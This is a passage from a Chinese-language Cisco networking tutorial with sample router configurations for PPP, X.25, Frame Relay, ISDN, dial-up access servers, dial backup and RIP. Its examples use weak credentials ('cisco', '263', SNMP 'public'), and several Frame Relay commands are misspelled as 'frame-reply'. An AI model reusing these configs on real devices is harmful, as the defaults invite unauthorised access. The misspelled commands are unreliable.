framing NO-CRC4 channel-group 0 timeslots 1 channel-group 1 timeslots 2 channel-group 2 timeslots 3 ! interface Ethernet0 ip address 133.118.40.1 255.255.0.0 media-type 10BaseT ! interface Ethernet1 no ip address shutdown ! interface Serial0:0 ip address 202.119.96.1 255.255.255.252 no ip mroute-cache ! interface Serial0:1 ip address 202.119.96.5 255.255.255.252 no ip mroute-cache ! interface Serial0:2 ip address 202.119.96.9 255.255.255.252 no ip mroute-cache ! no ip classless ip route 133.210.40.0 255.255.255.0 Serial0:0 ip route 133.210.41.0 255.255.255.0 Serial0:1 ip route 133.210.42.0 255.255.255.0 Serial0:2 ! line con 0 line aux 0 line vty 0 4 password shanxi login ! end 返回目录   二、PPP   PPP(Point-to-Point Protocol)是SLIP(Serial Line IP protocol)的继承者,它提供了跨过同步和异步电路实现路由器到路由器(router-to-router)和主机到网络(host-to-network)的连接。 CHAP(Challenge Handshake Authentication Protocol)和PAP(Password Authentication Protocol) (PAP)通常被用于在PPP封装的串行线路上提供安全性认证。使用CHAP和PAP认证,每个路由器通过名字来识别,可以防止未经授权的访问。 CHAP和PAP在RFC 1334上有详细的说明。 1. 有关命令 端口设置 任务 命令 设置PPP封装 encapsulation ppp1 设置认证方法 ppp authentication {chap | chap pap | pap chap | pap} [if-needed][list-name | default] [callin] 指定口令 username name password secret 设置DCE端线路速度 clockrate speed 注:1、要使用CHAP/PAP必须使用PPP封装。在与非Cisco路由器连接时,一般采用PPP封装,其它厂家路由器一般不支持Cisco的HDLC封装协议。 2. 举例 路由器Router1和Router2的S0口均封装PPP协议,采用CHAP做认证,在Router1中应建立一个用户,以对端路由器主机名作为用户名,即用户名应为router2。同时在Router2中应建立一个用户,以对端路由器主机名作为用户名,即用户名应为router1。所建的这两用户的password必须相同。 设置如下: Router1: hostname router1 username router2 password xxx interface Serial0 ip address 192.200.10.1 255.255.255.0 clockrate 1000000 ppp authentication chap ! Router2: hostname router2 username router1 password xxx interface Serial0 ip address 192.200.10.2 255.255.255.0 ppp authentication chap !   返回目录   三、x.25 1. X25技术 X.25规范对应OSI三层,X.25的第三层描述了分组的格式及分组交换的过程。X.25的第二层由LAPB(Link Access Procedure, Balanced)实现,它定义了用于DTE/DCE连接的帧格式。X.25的第一层定义了电气和物理端口特性。 X.25网络设备分为数据终端设备(DTE)、数据电路终端设备(DCE)及分组交换设备(PSE)。DTE是X.25的末端系统,如终端、计算机或网络主机,一般位于用户端,Cisco路由器就是DTE设备。DCE设备是专用通信设备,如调制解调器和分组交换机。PSE是公共网络的主干交换机。 X.25定义了数据通讯的电话网络,每个分配给用户的x.25 端口都具有一个x.121地址,当用户申请到的是SVC(交换虚电路)时,x.25一端的用户在访问另一端的用户时,首先将呼叫对方x.121地址,然后接收到呼叫的一端可以接受或拒绝,如果接受请求,于是连接建立实现数据传输,当没有数据传输时挂断连接,整个呼叫过程就类似我们拨打普通电话一样,其不同的是x.25可以实现一点对多点的连接。其中x.121地址、htc均必须与x.25服务提供商分配的参数相同。X.25 PVC(永久虚电路),没有呼叫的过程,类似DDN专线。 2. 有关命令: 任务 命令 设置X.25封装 encapsulation x25 [dce] 设置X.121地址 x25 address x.121-address 设置远方站点的地址映射 x25 map protocol address [protocol2 address2[...[protocol9 address9]]] x121-address [option] 设置最大的双向虚电路数 x25 htc citcuit-number1 设置一次连接可同时建立的虚电路数 x25 nvc count2 设置x25在清除空闲虚电路前的等待周期 x25 idle minutes 重新启动x25,或清一个svc,启动一个pvc相关参数 clear x25 {serial number | cmns-interface mac-address} [vc-number] 3 清x25虚电路 clear x25-vc 显示接口及x25相关信息 show interfaces serial show x25 interface show x25 map show x25 vc 注:1、虚电路号从1到4095,Cisco路由器默认为1024,国内一般分配为16。 2、虚电路计数从1到8,缺省为1。 3、在改变了x.25各层的相关参数后,应重新启动x25(使用clear x25 {serial number | cmns-interface mac-address} [vc-number]或clear x25-vc命令),否则新设置的参数可能不能生效。同时应对照服务提供商对于x.25交换机端口的设置来配置路由器的相关参数,若出现参数不匹配则可能会导致连接失败或其它意外情况。 3. 实例: 3.1. 在以下实例中每二个路由器间均通过svc实现连接。 路由器设置如下: Router1: interface Serial0 encapsulation x25 ip address 192.200.10.1 255.255.255.0 x25 address 110101 x25 htc 16 x25 nvc 2 x25 map ip 192.200.10.2 110102 broadcast x25 map ip 192.200.10.3 110103 broadcast ! Router2: interface Serial0 encapsulation x25 ip address 192.200.10.2 255.255.255.0 x25 address 110102 x25 htc 16 x25 nvc 2 x25 map ip 192.200.10.1 110101 broadcast x25 map ip 192.200.10.3 110103 broadcast ! Router: interface Serial0 encapsulation x25 ip address 192.200.10.3 255.255.255.0 x25 address 110103 x25 htc 16 x25 nvc 2 x25 map ip 192.200.10.1 110101 broadcast x25 map ip 192.200.10.2 110102 broadcast ! 相关调试命令: clear x25-vc show interfaces serial show x25 map show x25 route show x25 vc 3.2. 在以下实例中路由器router1和router2均通过svc与router连接,但router1和router2不通过svc直接连接,此三个路由器的串口运行RIP路由协议,使用了子接口的概念。由于使用子接口,router1和router2均学习到了访问对方局域网的路径,若不使用子接口,router1和router2将学不到到对方局域网的路由。 子接口(Subinterface)是一个物理接口上的多个虚接口,可以用于在同一个物理接口上连接多个网。我们知道为了避免路由循环,路由器支持split horizon法则,它只允许路由更新被分配到路由器的其它接口,而不会再分配路由更新回到此路由被接收的接口。 无论如何,在广域网环境使用基于连接的接口(象 X.25和Frame Relay),同一接口通过虚电路(vc)连接多台远端路由器时,从同一接口来的路由更新信息不可以再被发回到相同的接口,除非强制使用分开的物理接口连接不同的路由器。Cisco提供子接口(subinterface)作为分开的接口对待。你可以将路由器逻辑地连接到相同物理接口的不同子接口, 这样来自不同子接口的路由更新就可以被分配到其他子接口,同时又满足split horizon法则。 Router1: interface Serial0 encapsulation x25 ip address 192.200.10.1 255.255.255.0 x25 address 110101 x25 htc 16 x25 nvc 2 x25 map ip 192.200.10.3 110103 broadcast ! router rip network 192.200.10.0 ! Router2: interface Serial0 encapsulation x25 ip address 192.200.11.2 255.255.255.0 x25 address 110102 x25 htc 16 x25 nvc 2 x25 map ip 192.200.11.3 110103 broadcast ! router rip network 192.200.11.0 ! Router: interface Serial0 encapsulation x25 x25 address 110103 x25 htc 16 x25 nvc 2 ! interface Serial0.1 point-to-point ip address 192.200.10.3 255.255.255.0 x25 map ip 192.200.10.1 110101 broadcast ! interface Serial0.2 point-to-point ip address 192.200.11.3 255.255.255.0 x25 map ip 192.200.11.2 110102 broadcast ! router rip network 192.200.10.0 network 192.200.11.0 ! 返回目录   帧中继是一种高性能的WAN协议,它运行在OSI参考模型的物理层和数据链路层。它是一种数据包交换技术,是X.25的简化版本。它省略了X.25的一些强健功能,如提供窗口技术和数据重发技术,而是依靠高层协议提供纠错功能,这是因为帧中继工作在更好的WAN设备上,这些设备较之X.25的WAN设备具有更可靠的连接服务和更高的可靠性,它严格地对应于OSI参考模型的最低二层,而X.25还提供第三层的服务,所以,帧中继比X.25具有更高的性能和更有效的传输效率。 帧中继广域网的设备分为数据终端设备(DTE)和数据电路终端设备(DCE),Cisco路由器作为 DTE设备。 帧中继技术提供面向连接的数据链路层的通信,在每对设备之间都存在一条定义好的通信链路,且该链路有一个链路识别码。这种服务通过帧中继虚电路实现,每个帧中继虚电路都以数据链路识别码(DLCI)标识自己。DLCI的值一般由帧中继服务提供商指定。帧中继即支持PVC也支持SVC。 帧中继本地管理接口(LMI)是对基本的帧中继标准的扩展。它是路由器和帧中继交换机之间信令标准,提供帧中继管理机制。它提供了许多管理复杂互联网络的特性,其中包括全局寻址、虚电路状态消息和多目发送等功能。 2. 有关命令: 端口设置 任务 命令 设置Frame Relay封装 encapsulation frame-relay[ietf] 1 设置Frame Relay LMI类型 frame-relay lmi-type {ansi | cisco | q933a}2 设置子接口 interface interface-type interface-number.subinterface-number [multipoint|point-to-point] 映射协议地址与DLCI frame-relay map protocol protocol-address dlci [broadcast]3 设置FR DLCI编号 frame-relay interface-dlci dlci [broadcast] 注:1.若使Cisco路由器与其它厂家路由设备相连,则使用Internet工程任务组(IETF)规定的帧中继封装格式。 2.从Cisco IOS版本11.2开始,软件支持本地管理接口(LMI)“自动感觉”, “自动感觉”使接口能确定交换机支持的LMI类型,用户可以不明确配置LMI接口类型。 3.broadcast选项允许在帧中继网络上传输路由广播信息。 3. 帧中继point to point配置实例: Router1: interface serial 0 encapsulation frame-relay ! interface serial 0.1 point-to-point ip address 172.16.1.1 255.255.255.0 frame-reply interface-dlci 105 ! interface serial 0.2 point-to-point ip address 172.16.2.1 255.255.255.0 frame-reply interface-dlci 102 ! interface serial 0.3 point-to-point ip address 172.16.4.1 255.255.255.0 frame-reply interface-dlci 104 ! Router2: interface serial 0 encapsulation frame-relay ! interface serial 0.1 point-to-point ip address 172.16.2.2 255.255.255.0 frame-reply interface-dlci 201 ! interface serial 0.2 point-to-point ip address 172.16.3.1 255.255.255.0 frame-reply interface-dlci 203 ! 相关调试命令: show frame-relay lmi show frame-relay map show frame-relay pvc show frame-relay route show interfaces serial go top 4. 帧中继 Multipoint 配置实例: Router1: interface serial 0 encapsulation frame-reply ! interface serial 0.1 multipoint ip address 172.16.1.2 255.255.255.0 frame-reply map ip 172.16.1.1 201 broadcast frame-reply map ip 172.16.1.3 301 broadcast frame-reply map ip 172.16.1.4 401 broadcast ! Router2: interface serial 0 encapsulation frame-reply ! interface serial 0.1 multipoint ip address 172.16.1.1 255.255.255.0 frame-reply map ip 172.16.1.2 102 broadcast frame-reply map ip 172.16.1.3 102 broadcast frame-reply map ip 172.16.1.4 102 broadcast ! 五、ISDN   1. 综合数字业务网(ISDN) 综合数字业务网(ISDN)由数字电话和数据传输服务两部分组成,一般由电话局提供这种服务。ISDN的基本速率接口(BRI)服务提供2个B信道和1个D信道(2B+D)。BRI的B信道速率为64Kbps,用于传输用户数据。D信道的速率为16Kbps,主要传输控制信号。在北美和日本,ISDN的主速率接口(PRI)提供23个B信道和1个D信道,总速率可达1.544Mbps,其中D信道速率为64Kbps。而在欧洲、澳大利亚等国家,ISDN的PRI提供30个B信道和1个64Kbps D信道,总速率可达2.048Mbps。我国电话局所提供ISDN PRI为30B+D。 2. 基本命令 任务 命令 设置ISDN交换类型 isdn switch-type switch-type1 接口设置 interface bri 0 设置PPP封装 encapsulation ppp 设置协议地址与电话号码的映射 dialer map protocol next-hop-address [name hostname] [broadcast] [dial-string] 启动PPP多连接 ppp multilink 设置启动另一个B通道的阈值 dialer load-threshold load 显示ISDN有关信息 show isdn {active | history | memory | services | status [dsl | interface-type number] | timers} 注:1.交换机类型如下表,国内交换机一般为basic-net3。 按区域分关键字 交换机类型 Australia basic-ts013 Australian TS013 switches Europe basic-1tr6 German 1TR6 ISDN switches basic-nwnet3 Norway NET3 switches (phase 1) basic-net3 NET3 ISDN switches (UK, Denmark, and other nations); covers the Euro-ISDN E-DSS1 signalling system primary-net5 NET5 switches (UK and Europe) vn2 French VN2 ISDN switches vn3 French VN3 ISDN switches Japan ntt Japanese NTT ISDN switches primary-ntt Japanese ISDN PRI switches North America basic-5ess AT&T basic rate switches basic-dms100 NT DMS-100 basic rate switches basic-ni1 National ISDN-1 switches primary-4ess AT&T 4ESS switch type for the U.S. (ISDN PRI only) primary-5ess AT&T 5ESS switch type for the U.S. (ISDN PRI only) primary-dms100 NT DMS-100 switch type for the U.S. (ISDN PRI only) New Zealand basic-nznet3 New Zealand Net3 switches 3. ISDN实现DDR(dial-on-demand routing)实例: 设置如下: Router1: hostname router1 user router2 password cisco ! isdn switch-type basic-net3 ! interface bri 0 ip address 192.200.10.1 255.255.255.0 encapsulation ppp dialer map ip 192.200.10.2 name router2 572 dialer load-threshold 80 ppp multilink dialer-group 1 ppp authentication chap ! dialer-list 1 protocol ip permit ! Router2: hostname router2 user router1 password cisco ! isdn switch-type basic-net3 ! interface bri 0 ip address 192.200.10.2 255.255.255.0 encapsulation ppp dialer map ip 192.200.10.1 name router1 571 dialer load-threshold 80 ppp multilink dialer-group 1 ppp authentication chap ! dialer-list 1 protocol ip permit ! Cisco路由器同时支持回拨功能,我们将路由器Router1作为Callback Server,Router2作为Callback Client。 与回拨相关命令: 任务 命令 映射协议地址和电话号码,并在接口上使用在全局模式下定义的PPP回拨的映射类别。 dialer map protocol address name hostname class classname dial-string 设置接口支持PPP回拨 ppp callback accept 在全局模式下为PPP回拨设置映射类别 map-class dialer classname 通过查找注册在dialer map里的主机名来决定回拨. dialer callback-server [username] 设置接口要求PPP回拨 ppp callback request 设置如下: Router1: hostname router1 user router2 password cisco ! isdn switch-type basic-net3 ! interface bri 0 ip address 192.200.10.1 255.255.255.0 encapsulation ppp dialer map ip 192.200.10.2 name router2 class s3 572 dialer load-threshold 80 ppp callback accept ppp multilink dialer-group 1 ppp authentication chap ! map-class dialer s3 dialer callback-server username dialer-list 1 protocol ip permit ! Router2: hostname router2 user router1 password cisco ! isdn switch-type basic-net3 ! interface bri 0 ip address 192.200.10.2 255.255.255.0 encapsulation ppp dialer map ip 192.200.10.1 name router1 571 dialer load-threshold 80 ppp callback request ppp multilink dialer-group 1 ppp authentication chap ! dialer-list 1 protocol ip permit ! 相关调试命令: debug dialer debug isdn event debug isdn q921 debug isdn q931 debug ppp authentication debug ppp error debug ppp negotiation debug ppp packet show dialer show isdn status 举例:执行debug dialer命令观察router2呼叫router1,router1回拨router2的过程. router1#debug dialer router2#ping 192.200.10.1 router1# 00:03:50: %LINK-3-UPDOWN: Interface BRI0:1, changed state to up 00:03:50: BRI0:1:PPP callback Callback server starting to router2 572 00:03:50: BRI0:1: disconnecting call 00:03:50: %LINK-3-UPDOWN: Interface BRI0:1, changed state to down 00:03:50: BRI0:1: disconnecting call 00:03:50: BRI0:1: disconnecting call 00:03:51: %LINK-3-UPDOWN: Interface BRI0:2, changed state to up 00:03:52: callback to router2 already started 00:03:52: BRI0:2: disconnecting call 00:03:52: %LINK-3-UPDOWN: Interface BRI0:2, changed state to down 00:03:52: BRI0:2: disconnecting call 00:03:52: BRI0:2: disconnecting call 00:04:05: : Callback timer expired 00:04:05: BRI0:beginning callback to router2 572 00:04:05: BRI0: Attempting to dial 572 00:04:05: Freeing callback to router2 572 00:04:05: %LINK-3-UPDOWN: Interface BRI0:1, changed state to up 00:04:05: BRI0:1: No callback negotiated 00:04:05: %LINK-3-UPDOWN: Interface Virtual-Access1, changed state to up 00:04:05: dialer Protocol up for Vi1 00:04:06: %LINEPROTO-5-UPDOWN: Line protocol on Interface BRI0:1, changed state to up 00:04:06: %LINEPROTO-5-UPDOWN: Line protocol on Interface Virtual-Access1, chang ed state to up 00:04:11: %ISDN-6-CONNECT: Interface BRI0:1 is now connected to 572 #router1 4. ISDN访问首都在线263网实例: 本地局部网地址为10.0.0.0/24,属于保留地址,通过NAT地址翻译功能,局域网用户可以通过ISDN上263网访问Internet。263的ISDN电话号码为2633,用户为263,口令为263,所涉及的命令如下表: 任务 命令 指定接口通过PPP/IPCP地址协商获得IP地址 ip address negotiated 指定内部和外部端口 ip nat {inside | outside} 使用ppp/pap作认证 ppp authentication pap callin 指定接口属于拨号组1 dialer-group 1 定义拨号组1允许所有IP协议 dialer-list 1 protocol ip permit 设定拨号,号码为2633 dialer string 2633 设定登录263的用户名和口令 ppp pap sent-username 263 password 263 设定默认路由 ip route 0.0.0.0 0.0.0.0 bri 0 设定符合访问列表2的所有源地址被翻译为bri 0所拥有的地址 ip nat inside source list 2 interface bri 0 overload 设定访问列表2,允许所有协议 access-list 2 permit any 具体配置如下: hostname Cisco2503 ! isdn switch-type basic-net3 ! ip subnet-zero no ip domain-lookup ip routing ! interface Ethernet 0 ip address 10.0.0.1 255.255.255.0 ip nat inside no shutdown ! interface Serial 0 shutdown no description no ip address ! interface Serial 1 shutdown no description no ip address ! interface bri 0 ip address negotiated ip nat outside encapsulation ppp ppp authentication pap callin ppp multilink dialer-group 1 dialer hold-queue 10 dialer string 2633 dialer idle-timeout 120 ppp pap sent-username 263 password 263 no cdp enable no ip split-horizon no shutdown ! ip classless ! ! Static Routes ! ip route 0.0.0.0 0.0.0.0 bri 0 ! ! Access Control List 2 ! access-list 2 permit any ! dialer-list 1 protocol ip permit ! ! Dynamic NAT ! ip nat inside source list 2 interface bri 0 overload snmp-server community public ro ! line console 0 exec-timeout 0 0 ! line vty 0 4 ! end 5. Cisco765M通过ISDN拨号上263 由于Cisco765的设置命令与我们常用的Cisco路由器的命令不同,所以以下列举了通过Cisco765上263访问Internet的具体命令行设置步骤。 >set system c765 c765> set multidestination on c765> set switch net3 c765> set ppp multilink on c765> cd lan c765:LAN> set ip routing on c765:LAN> set ip address 10.0.0.1 c765:LAN> set ip netmask 255.0.0.0 c765:LAN> set briding off c765:LAN>cd c765> set user remotenet New user remotenet being created c765:remotenet> set ip routing on c765:remotenet> set bridging off c765:remotenet> set ip framing none c765:remotenet> set ppp clientname 263 c765:remotenet> set ppp password client Enter new Password: 263 Re-Type new Password: 263 c765:remotenet> set ppp authentication out none c765:remotenet> set ip address 0.0.0.0 c765:remotenet> set ip netmask 0.0.0.0 c765:remotenet> set ppp address negotiation local on c765:remotenet> set ip pat on c765:remotenet> set ip route destination 0.0.0.0/0 gateway 0.0.0.0 c765:remotenet> set number 2633 c765:remotenet> set active 命令描述如下: 任务 命令 设置路由器系统名称 set system c765 允许路由器呼叫多个目的地 set multidestination on 设置ISDN交换机类型为NET3 set switch net3 允许点到点间多条通道连接实现负载均衡 set ppp multilink on 关掉桥接 set briding off 建立用户预制文件用于设置拨号连接参数- 可以设置多个用户预制文件用于相同的物理端口对应于不同的连接。 set user remotenet 使用PPP/IPCP set ip framing none 设置上网用户帐号 set ppp clientname 263 设置上网口令 set ppp password client Enter new Password: 263 Re-Type new Password: 263 不用PPP/CHAP或PAP做认证 set ppp authentication out none 允许地址磋商 set ppp address negotiation local on 设置地址翻译 set ip pat on 设置默认路由 set ip route destination 0.0.0.0/0 gateway 0.0.0.0 设置ISP的电话号码 set number 2633 激活用户预制文件 set active   返回目录   六、PSTN   电话网络(PSTN)是目前普及程度最高、成本最低的公用通讯网络,它在网络互连中也有广泛的应用。电话网络的应用一般可分为两种类型,一种是同等级别机构之间以按需拨号(DDR)的方式实现互连,一种是ISP为拨号上网为用户提供的远程访问服务的功能。 1. 远程访问 1.1.Access Server基本设置: 选用Cisco2511作为访问服务器,采用IP地址池动态分配地址.远程工作站使用WIN95拨号网络实现连接。 全局设置: 任务 命令 设置用户名和密码 username username password password 设置用户的IP地址池 ip local pool {default | pool-name low-ip-address [high-ip-address]} 指定地址池的工作方式 ip address-pool [dhcp-proxy-client | local] 基本接口设置命令: 任务 命令 设置封装形式为PPP encapsulation ppp 启动异步口的路由功能 async default routing 设置异步口的PPP工作方式 async mode {dedicated | interactive} 设置用户的IP地址 peer default ip address {ip-address | dhcp | pool [pool-name]} 设置IP地址与Ethernet0相同 ip unnumbered ethernet0 line拨号线设置: 任务 命令 设置modem的工作方式 modem {inout|dialin} 自动配置modem类型 modem autoconfig discovery 设置拨号线的通讯速率 speed speed 设置通讯线路的流控方式 flowcontrol {none | software [lock] [in | out] | hardware [in | out]} 连通后自动执行命令 autocommand command 访问服务器设置如下: Router: hostname Router enable secret 5 $1$EFqU$tYLJLrynNUKzE4bx6fmH// ! interface Ethernet0 ip address 10.111.4.20 255.255.255.0 ! interface Async1 ip unnumbered Ethernet0 encapsulation ppp keepalive 10 async mode interactive peer default ip address pool Cisco2511-Group-142 ! ip local pool Cisco2511-Group-142 10.111.4.21 10.111.4.36 ! line con 0 exec-timeout 0 0 password cisco ! line 1 16 modem InOut modem autoconfigure discovery flowcontrol hardware ! line aux 0 transport input all line vty 0 4 password cisco ! end 相关调试命令: show interface show line 1.2. Access Server通过Tacacs服务器实现安全认证: 使用一台WINDOWS NT服务器作为Tacacs服务器,地址为10.111.4.2,运行Cisco2511随机带的Easy ACS 1.0软件实现用户认证功能. 相关设置: 任务 命令 激活AAA访问控制 aaa new-model 用户登录时默认起用Tacacs+做AAA认证 aaa authentication login default tacacs+ 列表名为no_tacacs使用ENABLE口令做认证 aaa authentication login no_tacacs enable 在运行PPP的串行线上采用Tacacs+做认证 aaa authentication ppp default tacacs+ 由TACACS+服务器授权运行EXEC aaa authorization exec tacacs+ 由TACACS+服务器授权与网络相关的服务请求。 aaa authorization network tacacs+ 为EXEC会话运行记帐.进程开始和结束时发通告给TACACS+服务器。 aaa accounting exec start-stop tacacs+ 为与网络相关的服务需求运行记帐包括SLIP,PPP,PPP NCPs,ARAP等.在进程开始和结束时发通告给TACACS+服务器。 aaa accounting network start-stop tacacs+ 指定Tacacs服务器地址 tacacs-server host 10.111.4.2 在Tacacs+服务器和访问服务器设定共享的关键字,访问服务器和Tacacs+服务器使用这个关键字去加密口令和响应信息。这里使用tac作为关键字。 tacacs-server key tac 访问服务器设置如下: hostname router ! aaa new-model aaa authentication login default tacacs+ aaa authentication login no_tacacs enable aaa authentication ppp default tacacs+ aaa authorization exec tacacs+ aaa authorization network tacacs+ aaa accounting exec start-stop tacacs+ aaa accounting network start-stop tacacs+ enable secret 5 $1$kN4g$CvS4d2.rJzWntCnn/0hvE0 ! interface Ethernet0 ip address 10.111.4.20 255.255.255.0 ! interface Serial0 no ip address shutdown interface Serial1 no ip address shutdown ! interface Group-Async1 ip unnumbered Ethernet0 encapsulation ppp async mode interactive peer default ip address pool Cisco2511-Group-142 no cdp enable group-range 1 16 ! ip local pool Cisco2511-Group-142 10.111.4.21 10.111.4.36 tacacs-server host 10.111.4.2 tacacs-server key tac ! line con 0 exec-timeout 0 0 password cisco login authentication no_tacacs line 1 16 login authentication tacacs modem InOut modem autoconfigure type usr_courier autocommand ppp transport input all stopbits 1 rxspeed 115200 txspeed 115200 flowcontrol hardware line aux 0 transport input all line vty 0 4 password cisco ! end 2. DDR(dial-on-demand routing)实例 此例通过Cisco 2500系列路由器的aux端口实现异步拨号DDR连接。Router1拨号连接到Router2。其中采用PPP/CHAP做安全认证,在Router1中应建立一个用户,以对端路由器主机名作为用户名,即用户名应为Router2。同时在Router2中应建立一个用户,以对端路由器主机名作为用户名,即用户名应为Router1。所建的这两用户的password必须相同。 相关命令如下: 任务 命令 设置路由器与modem的接口指令 chat-script script-name EXPECT SEND EXPECT SEND (etc.) 设置端口在挂断前的等待时间 dialer idle-timeout seconds 设置协议地址与电话号码的映射 dialer map protocol next-hop-address [name hostname] [broadcast] [modem-script modem-regexp] [system-script system-regexp] [dial-string] 设置电话号码 dialer string dial-string 指定在特定线路下路由器默认 使用的chat-script script {dialer|reset} script-name Router1: hostname Router1 ! enable secret 5 $1$QKI7$wXjpFqC74vDAyKBUMallw/ ! username Router2 password cisco chat-script cisco-default "" "AT" TIMEOUT 30 OK "ATDT \T" TIMEOUT 30 CONNECT \c ! interface Ethernet0 ip address 10.0.0.1 255.255.255.0 ! interface Async1 ip address 192.200.10.1 255.255.255.0 encapsulation ppp async default routing async mode dedicated dialer in-band dialer idle-timeout 60 dialer map ip 192.200.10.2 name Router2 modem-script cisco-default 573 dialer-group 1 ppp authentication chap ! ip route 10.0.1.0 255.255.255.0 192.200.10.2 dialer-list 1 protocol ip permit ! line con 0 line aux 0 modem InOut modem autoconfigure discovery flowcontrol hardware Router2: hostname Router2 ! enable secret 5 $1$F6EV$5U8puzNt2/o9g.t56PXHo. ! username Router1 password cisco ! interface Ethernet0 ip address 10.0.1.1 255.255.255.0 ! interface Async1 ip address 192.200.10.2 255.255.255.0 encapsulation ppp async default routing async mode dedicated dialer in-band dialer idle-timeout 60 dialer map ip 192.200.10.1 name Router1 dialer-group 1 ppp authentication chap ! ip route 10.0.0.0 255.255.255.0 192.200.10.1 dialer-list 1 protocol ip permit ! line con 0 line aux 0 modem InOut modem autoconfigure discovery flowcontrol hardware ! 相关调试命令: debug dialer debug ppp authentication debug ppp error debug ppp negotiation debug ppp packet show dialer 3. 异步拨号备份DDN专线: 此例主连接采用DDN专线,备份线路为电话拨号。当DDN专线连接正常时,主端口S0状态为up,line protocol亦为up,则备份线路状态为standby,line protocol为down,此时所有通信均通过主接口进行。当主接口连接发生故障时,端口状态为down,则激活备份接口,完成数据通信。此方法不适合为X.25做备份。因为,配置封装为X.25的接口只要和X.25交换机之间的连接正常其接口及line protocol的状态亦为 up,它并不考虑其它地方需与之通信的路由器的状态如何,所以若本地路由器状态正常,而对方路由器连接即使发生故障,本地也不会激活备份线路。例4将会描述如何为X.25做拨号备份。 以下是相关命令: 任务 命令 指定主线路改变后,次线路状态发生改变的延迟时间 backup delay {enable-delay | never} {disable-delay | never} 指定一个接口作为备份接口 backup interface type number hostname c2522rb ! enable secret 5 $1$J5vn$ceYDe2FwPhrZi6qsIIz6g0 enable password cisco ! username c4700 password 0 cisco ip subnet-zero chat-script cisco-default "" "AT" TIMEOUT 30 OK "ATDT \T" TIMEOUT 30 CONNECT \c chat-script reset atz ! interface Ethernet0 ip address 16.122.51.254 255.255.255.0 no ip mroute-cache ! interface Serial0 backup delay 10 10 backup interface Serial2 ip address 16.250.123.18 255.255.255.252 no ip mroute-cache no fair-queue ! interface Serial1 no ip address no ip mroute-cache shutdown ! interface Serial2 physical-layer async ip address 16.249.123.18 255.255.255.252 encapsulation ppp async mode dedicated dialer in-band dialer idle-timeout 60 dialer map ip 16.249.123.17 name c4700 6825179 dialer-group 1 ppp authentication chap ! interface Serial3 no ip address shutdown no cdp enable ! interface Serial4 no ip address shutdown no cdp enable ! interface Serial5 no ip address no ip mroute-cache shutdown ! interface Serial6 no ip address no ip mroute-cache shutdown ! interface Serial7 no ip address no ip mroute-cache shutdown ! interface Serial8 no ip address no ip mroute-cache shutdown ! interface Serial9 no ip address no ip mroute-cache shutdown ! interface BRI0 no ip address no ip mroute-cache shutdown ! router eigrp 200 network 16.0.0.0 ! ip classless ! dialer-list 1 protocol ip permit ! line con 0 line 2 script dialer cisco-default script reset reset modem InOut modem autoconfigure discovery rxspeed 38400 txspeed 38400 flowcontrol hardware line aux 0 line vty 0 4 password cisco login ! end c2522rb# 4. 异步拨号备份X.25: 设置X.25的拨号备份,首先X.25连接的端口必须运行动态路由协议,异步拨号口必须使用静态路由.本例选择EIGRP作为路由选择协议,将静态路由的Metric的值设置为200,由于EIGRP的默认Metric为90,所以当同时有两条路径通往同一网段时,其中Metric值小的路径生效,而当X.25连接出现问题时,路由器无法通过路由协议学习到路由表,则此时静态路由生效,访问通过拨号端口实现。当X.25连接恢复正常时,路由器又可以学习到路由表,则由于 Metric值的不同,静态路由自动被动态路由所代替,这样就实现了备份的功能。 路由器Router1配置如下: hostname router1 ! enable secret 5 $1$UTvD$99YiY2XsRMxHudcYeHn.Y. enable password cisco ! username router2 password cisco ip subnet-zero chat-script cisco-default "" "AT" TIMEOUT 30 OK "ATDT \T" TIMEOUT 30 CONNECT \c chat-script reset atz interface Ethernet0 ip address 202.96.38.100 255.255.255.0 ! interface Serial0 ip address 202.96.0.1 255.255.255.0 encapsulation x25 x25 address 10112227 x25 htc 16 x25 map ip 202.96.0.2 10112225 broadcast ! interface Serial1 no ip address shutdown ! ! interface Async 1 ip address 202.96.1.1 255.255.255.252 encapsulation ppp dialer in-band dialer idle-timeout 60 dialer map ip 202.96.1.2 name router2 modem-script cisco-default 2113470 dialer-group 1 ppp authentication chap ! router eigrp 200 redistribute connected network 202.96.0.0 ! ip route 202.96.37.0 255.255.255.0 202.96.1.2 200 dialer-list 1 protocol ip permit line con 0 line aux 0 script dialer cisco-default script reset reset modem InOut modem autoconfigure discovery transport input all rxspeed 38400 txspeed 38400 flowcontrol hardware line vty 0 4 password cisco login ! end 路由器Router2配置如下: hostname router2 ! enable secret 5 $1$T4IU$2cIqak8f/E4Ug6dLT0k.J0 enable password cisco ! username router1 password cisco ip subnet-zero chat-script cisco-default "" "AT" TIMEOUT 30 OK "ATDT \T" TIMEOUT 30 CONNECT \c chat-script reset atz ! interface Ethernet0 ip address 202.96.37.100 255.255.255.0 ! interface Serial0 ip address 202.96.0.2 255.255.255.0 no ip mroute-cache encapsulation x25 x25 address 10112225 x25 htc 16 x25 map ip 202.96.0.1 10112227 broadcast ! interface Serial1 no ip address shutdown ! interface Async1 ip address 202.96.1.2 255.255.255.252 encapsulation ppp keepalive 30 async default routing async mode dedicated dialer in-band dialer idle-timeout 60 dialer wait-for-carrier-time 120 dialer map ip 202.96.1.1 name router1 modem-script cisco-default 2113469 dialer-group 1 ppp authentication chap ! router eigrp 200 redistribute static network 202.96.0.0 ! no ip classless ip route 202.96.38.0 255.255.255.0 202.96.1.1 200 dialer-list 1 protocol ip permit ! line con 0 exec-timeout 0 0 line aux 0 script reset reset modem InOut modem autoconfigure discovery transport input all rxspeed 38400 txspeed 38400 flowcontrol hardware line vty 0 4 password cisco login ! end   路由协议: 一、RIP协议   RIP(Routing information Protocol)是应用较早、使用较普遍的内部网关协议(Interior Gateway Protocol,简称IGP),适用于小型同类网络,是典型的距离向量(distance-vector)协议。文档见RFC1058、RFC1723。 RIP通过广播UDP报文来交换路由信息,每30秒发送一次路由信息更新。RIP提供跳跃计数(hop count)作为尺度来衡量路由距离,跳跃计数是一个包到达目标所必须经过的路由器的数目。如果到相同目标有二个不等速或不同带宽的路由器,但跳跃计数相同,则RIP认为两个路由是等距离的。RIP最多支持的跳数为15,即在源和目的网间所要经过的最多路由器的数目为15,跳数16表示不可达。 1. 有关命令 任务 命令 指定使用RIP协议 router rip 指定RIP版本 version {1|2}1 指定与该路由器相连的网络 network network 注:1.Cisco的RIP版本2支持验证、密钥管理、路由汇总、无类域间路由(CIDR)和变长子网掩码(VLSMs) 2. 举例 Router1: router rip version 2 network 192.200.10.0 network 192.20.10.0 ! 相关调试命令: show ip protocol show ip route   返回目录   二、IGRP协议   IGRP (Interior Gateway Routing 